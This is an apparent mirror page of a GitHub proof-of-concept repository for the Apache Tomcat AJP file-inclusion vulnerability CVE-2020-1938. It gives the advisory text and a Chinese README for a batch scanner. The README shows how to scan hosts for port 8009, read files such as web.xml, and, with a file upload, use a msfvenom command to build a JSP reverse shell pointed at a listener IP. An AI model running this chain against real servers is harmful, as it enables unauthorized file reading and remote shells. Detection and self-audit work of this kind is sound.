CVE-2020-1938 PoC — Apache Tomcat 安全漏洞

Source

https://github.com/doggycheng/CNVD-2020-10487

Associated Vulnerability

Title:Apache Tomcat 安全漏洞 (CVE-2020-1938)
Description:When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed: - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.

Description

CVE-2020-1938 / CNVD-2020-1048 Detection Tools

Readme

# 说明
**工具仅用于安全研究以及内部自查, 禁止使用工具发起非法攻击, 造成的后果由使用者负责**

Apache Tomcat文件包含漏洞（CVE-2020-1938 / CNVD-2020-1048 ）批量检测工具. 

此项目在[Kit4y的项目](https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner)的基础上进行修改. 

# 代码修改
当ip.txt中只有1个域名或ip时, 会使得threadCount为1, 程序实际上没有运行, 增加判断线程数的代码
<pre>
...
if threadCount == 1:
    threadCount = 2
for i in range(0,threadCount-1):
...
</pre>

</pre>
修改少量代码, 以兼容Python3. 修改前的代码
<pre>
self.stream = self.socket.makefile("rb", bufsize=0)
</pre>
<pre>
print("".join([d.data for d in data]))
</pre>
修改后的代码
<pre>
if sys.version_info < (3, 0):
    self.stream = self.socket.makefile("rb", bufsize=0)
else:
    self.stream = self.socket.makefile("rb", buffering=None)
</pre>
<pre>
if sys.version_info < (3, 0):
    print("".join([d.data for d in data]))
else:
    print(b"".join([d.data for d in data]).decode("UTF-8"))
</pre>


# 使用
## 批量检测
**1、将需要扫描的域名/ip放于 ip.txt, 如**
> 127.0.0.1  
> www.baidu.com  
> www.google.com  

**2、python threading-find-port-8009.py**

扫描ip.txt中域名/ip找出开放8009端口的, 存放于生成的8009.txt中 

**3、python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py**

从8009.txt中筛选出符合漏洞的url, 放置于vul.txt中. 最后vul.txt中存在的域名即为含有漏洞的域名

## 单站点检测
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target.com
> python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /WEB-INF/web.xml 192.168.125.128  
> 
> python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128

## 跨目录和反弹shell
默认读取webapps下的ROOT，修改“/asdf”为“/test/asdf”可以访问webapps下test目录的内容
<pre>
t.perform_request('/asdf',attributes=[
</pre>

若服务器同时存在文件上传漏洞，上传下面的shell.txt
<pre>
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt
</pre>  
修改“/asdf”为“/asdf.jsp”，启动MSF后使用PoC工具可以取得shell


# 其他相关工具
https://github.com/0nise/CVE-2020-1938  
https://github.com/hypn0s/AJPy  
https://github.com/00theway/Ghostcat-CNVD-2020-10487

File Snapshot


 [4.0K]  /data/pocs/e9dce3c92ed16d0f16884d624fef6c7fbd2c9517
├── [ 11K]  CNVD-2020-10487-Tomcat-Ajp-lfi.py
├── [  15]  ip.txt
├── [2.4K]  README.md
├── [ 12K]  threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py
└── [1.7K]  threading-find-port-8009.py

0 directories, 5 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!